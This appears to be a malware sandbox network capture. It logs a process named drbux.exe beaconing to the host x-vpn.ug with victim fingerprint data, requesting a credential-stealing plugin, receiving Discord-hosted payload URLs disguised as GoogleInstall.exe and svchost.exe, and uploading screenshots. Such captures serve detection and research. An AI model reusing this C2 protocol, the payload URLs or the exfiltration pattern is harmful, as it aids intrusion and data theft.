Jul 19, 2021 18:35:20.369538069 CEST	1288	OUT	Data Raw: 1c d2 1e 0d 02 1d da 97 b5 27 5a 51 4c 91 47 34 11 45 19 a0 41 d6 94 7d 68 a5 02 80 17 b5 38 50 05 14 c9 62 d2 9a 6f 6a 05 02 b0 b4 a0 e2 92 8a 04 3c 11 4a 6a 3a 78 3c 50 26 8d 9f 0c 8c eb 31 fd 0d 57 bd ff 00 8f e9 ff 00 df 35 67 c2 a3 3a e4 7f Data Ascii: 'ZQLG4EA}h8Pboj<Jj:x<P&1W5g:{\ 84IEE%EP!E8S)QEhN_)LZO*dZZO1WHJ/GS^k3K!Xuqaanp=}
Jul 19, 2021 18:35:20.369821072 CEST	1291	OUT	Data Raw: 47 0c 9b b3 fe b4 bf fc 0f bc e4 2e 34 bd 46 ce e2 68 2e b4 fb b8 26 86 31 2c b1 cb 03 2b 46 84 81 b9 81 19 03 24 0c 9f 51 50 18 a5 fb 3a dc 18 a4 10 33 94 59 76 9d a5 80 04 80 7a 64 02 0e 3d c5 76 b6 d2 db b6 9d 73 73 f6 7b a9 bc 3c be 1b 68 ed Data Ascii: G.4Fh.&1,+F$QP:3Yvzd=vss{<hTN~.2#P#i\Yn7+3+:qb[^:Z;R9GiHC!N"KbNP(4Cp(SE<UbSB)F(h&usINi1MH7a\iZ;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49735	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:20.181890965 CEST	1246	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:20.278795958 CEST	1272	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:20.279829979 CEST	1272	OUT	GET /hfV3vDtt/plugins/cred.dll HTTP/1.1 Host: x-vpn.ug
Jul 19, 2021 18:35:20.382807970 CEST	1305	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:20.396341085 CEST	1318	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:20.506834030 CEST	1332	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 308 Connection: keep-alive Data Raw: 3c 63 3e 31 30 30 30 30 30 31 30 30 31 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 38 33 37 37 34 31 39 32 32 36 34 31 39 30 33 36 33 37 2f 38 36 36 30 35 32 32 38 38 36 32 38 31 32 39 38 31 32 2f 6b 6c 69 70 65 72 2e 65 78 65 23 31 30 30 30 30 30 32 30 30 31 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 38 33 37 37 34 31 39 32 32 36 34 31 39 30 33 36 33 37 2f 38 36 36 30 36 34 32 36 33 31 38 39 32 33 33 36 39 34 2f 47 6f 6f 67 6c 65 49 6e 73 74 61 6c 6c 2e 65 78 65 23 31 30 30 30 30 30 33 30 30 31 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 38 33 37 37 34 31 39 32 32 36 34 31 39 30 33 36 33 37 2f 38 36 36 30 36 34 32 36 34 30 32 37 37 30 31 32 34 38 2f 73 76 63 68 6f 73 74 2e 65 78 65 23 3c 64 3e Data Ascii: <c>1000001001https://cdn.discordapp.com/attachments/837741922641903637/866052288628129812/kliper.exe#1000002001https://cdn.discordapp.com/attachments/837741922641903637/866064263189233694/GoogleInstall.exe#1000003001https://cdn.discordapp.com/attachments/837741922641903637/866064264027701248/svchost.exe#<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	49747	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:26.583884954 CEST	2083	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:26.584135056 CEST	2083	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:26.584474087 CEST	2093	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:26.584692001 CEST	2096	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:26.679287910 CEST	2096	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:26.681838989 CEST	2102	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:26.681869984 CEST	2107	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:26.681883097 CEST	2110	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:26.681889057 CEST	2112	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:26.684720993 CEST	2115	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:26.684740067 CEST	2116	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:26.686152935 CEST	2122	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.6	49854	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:03.613110065 CEST	12710	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:03.728840113 CEST	12725	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.6	49855	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:03.688189983 CEST	12711	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:03.688426018 CEST	12711	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:03.688673019 CEST	12721	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:03.688837051 CEST	12724	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:03.768371105 CEST	12726	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:03.768955946 CEST	12728	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:03.769526005 CEST	12734	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:03.770159960 CEST	12737	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:03.770191908 CEST	12739	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:03.770941973 CEST	12742	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:03.770973921 CEST	12745	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:03.771533012 CEST	12746	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:04.020275116 CEST	12812	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Jul 19, 2021 18:36:04.060324907 CEST	12812	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:04.140508890 CEST	12894	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.6	49856	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:04.228657007 CEST	12911	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
